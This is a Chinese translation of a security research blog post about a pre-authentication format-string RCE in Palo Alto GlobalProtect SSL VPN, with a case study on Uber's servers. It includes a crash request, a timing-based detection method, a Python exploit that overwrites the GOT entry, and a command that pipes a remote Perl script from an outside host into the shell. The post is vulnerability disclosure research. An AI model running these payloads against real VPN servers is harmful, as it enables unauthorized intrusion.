Orange: 攻击SSL VPN - 第一部分：Palo Alto GlobalProtect预认证RCE，以Uber为案例研究！

作者: Orange Tsai(@orange_8361) 和 Meh Chang(@mehqq_)

SSL VPN保护企业资产免受互联网暴露，但如果SSL VPN本身存在漏洞呢？它们暴露在互联网上，被信任可靠地保护通往内网的唯一途径。一旦SSL VPN服务器被攻破，攻击者可以渗透到您的内网，甚至接管所有连接到SSL VPN服务器的用户！由于其重要性，在过去几个月中，我们开始对主流SSL VPN产品的安全性进行新的研究。

我们计划分三篇文章发布我们的研究成果。我们将此作为第一篇，因为我们认为这是一个有趣的故事，非常适合作为我们Black Hat USA和DEFCON演讲的开胃菜：

像NSA一样渗透企业内网 - 主流SSL VPN的预认证RCE！

别担心剧透，这个故事不包括在我们的BHUSA/DEFCON演讲中。

在我们即将进行的演示中，我们将提供更硬核的利用和疯狂的漏洞链来入侵您的SSL VPN。从我们如何越狱设备到我们关注的攻击向量。我们还将演示从唯一暴露的HTTPS端口获取root shell，秘密地将服务器武器化对抗其所有者，以及滥用隐藏功能接管所有VPN客户端！敬请期待；)

故事

在本文中，我们想谈谈Palo Alto SSL VPN的漏洞。Palo Alto将他们的SSL VPN产品线称为GlobalProtect。您可以通过302重定向到web根目录下的/global-protect/login.esp来轻松识别GlobalProtect服务！

关于这个漏洞，我们在红队评估服务中偶然发现了它。起初，我们认为这是一个0day。然而，我们在远程服务器（最新版本的GlobalProtect）上无法复现。所以我们开始怀疑这是否是一个已知漏洞。

我们搜索了整个互联网，但找不到任何信息。之前没有公开的RCE利用[1]，没有官方公告包含类似内容，也没有CVE。所以我们相信这一定是一个静默修复的1-day！

[1] 之前有一些关于Pan-OS管理界面的漏洞利用，比如CVE-2017-15944和@_fel1x出色的Troppers16论文，但不幸的是，它们没有讨论GlobalProtect，而且管理界面只暴露给LAN端口

漏洞

这个漏洞非常简单。它只是一个简单的格式字符串漏洞，无需身份验证！sslmgr是处理服务器和客户端之间SSL握手的SSL网关。该守护进程通过Nginx反向代理暴露，可以通过路径/sslmgr访问。

1
2
3
4
5
6


$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

在参数提取过程中，守护进程搜索字符串scep-profile-name并将其值作为snprintf格式来填充缓冲区。这导致了格式字符串攻击。您只需使用%n就可以使服务崩溃！

1
2
3
4
5


POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

受影响版本

根据我们的调查，2018年7月之前的所有GlobalProtect都易受攻击！以下是受影响版本列表：

Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x系列和7.0.x系列不受此漏洞影响。

如何验证漏洞

虽然我们知道漏洞在哪里，但验证漏洞仍然不容易。这个格式字符串没有输出，因此我们无法获取任何地址泄漏来验证漏洞。而使服务崩溃从来不是我们的首选[1]。为了避免崩溃，我们需要找到一种优雅的方法来验证漏洞！

通过阅读snprintf手册，我们选择%c作为我们的gadget！当格式前面有一个数字时，例如%9999999c，snprintf会在内部重复相应的次数。我们观察大重复数的响应时间来验证这个漏洞！

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

如您所见，响应时间随着%c的数量增加而增加。因此，从时间差异中，我们可以优雅地识别易受攻击的SSL VPN！

[1] 尽管有一个看门狗监控sslmgr守护进程，但使服务崩溃仍然是不合适的！

利用

一旦我们可以验证漏洞，利用就很容易了。要成功利用二进制文件，我们首先需要确定详细版本。我们可以通过Last-Modified头来区分，例如来自8.x版本的/global-protect/portal/css/login.css和来自7.x版本的/images/logo_pan_158.gif！

1
2


$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

有了指定版本，我们现在可以编写自己的利用代码。我们简单地将Global Offset Table(GOT)中的strlen指针修改为system的Procedure Linkage Table(PLT)。以下是PoC：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # 需要修改
system_plt = 0x445566 # 需要修改

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

一旦修改完成，sslmgr就成为我们的webshell，我们可以通过以下方式执行命令：

1

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

我们已通过报告表单将此漏洞报告给Palo Alto。然而，我们得到了以下回复：

你好Orange，

感谢提交。Palo Alto Networks确实遵循协调漏洞披露，用于外部研究人员报告给我们的安全漏洞。我们不会对内部发现和修复的问题分配CVE。这个问题之前已经修复，但如果您在当前版本中发现什么，请告诉我们。

此致

嗯，所以看起来这个漏洞对Palo Alto是已知的，但尚未准备好公开！

案例研究

在我们意识到这不是一个0day之后，我们调查了全球所有Palo Alto SSL VPN，看看是否有任何大公司使用易受攻击的GlobalProtect，而Uber就是其中之一！根据我们的调查，Uber在全球拥有约22台运行GlobalProtect的服务器，这里我们以vpn.awscorp.uberinternal.com为例！

从域名来看，我们猜测Uber使用了AWS Marketplace的BYOL。从登录页面来看，Uber似乎使用了8.x版本，我们可以从Marketplace概述页面的支持版本列表中确定可能的目标版本：

8.0.3
8.0.6
8.0.8
8.0.9
8.1.0

最后，我们确定了版本是8.0.6，并且我们成功获取了shell！

Uber采取了非常快速的响应和正确的步骤来修复漏洞，并且Uber向我们详细解释了奖金决定：

嘿@orange — 我们想为这个奖金决定提供更多背景信息。在我们的内部调查中，我们发现Palo Alto SSL VPN与大多数员工使用的主要VPN不同。

此外，我们在AWS中托管了Palo Alto SSL VPN，而不是我们的核心基础设施；因此，它无法访问我们的任何内部基础设施或核心服务。出于这些原因，我们确定虽然这是一个未经身份验证的RCE，但整体影响和位置优势较低。再次感谢您的出色报告！

这是一个公平的决定。与Uber沟通并向他们的漏洞赏金计划报告总是一段美好的时光。我们不太在意奖金，因为我们享受整个研究过程并回馈安全社区！没有什么比这更好的了！

攻击SSL VPN系列第一篇：Palo Alto GlobalProtect预认证RCE漏洞分析与Uber案例研究

本文详细分析了Palo Alto GlobalProtect SSL VPN中存在的未授权格式字符串漏洞，该漏洞可导致远程代码执行。文章包含漏洞验证方法、利用技术细节，并以Uber公司实际案例展示攻击影响，同时披露了受影响的版本范围。

Orange: 攻击SSL VPN - 第一部分：Palo Alto GlobalProtect预认证RCE，以Uber为案例研究！

故事

漏洞

受影响版本

如何验证漏洞

利用

案例研究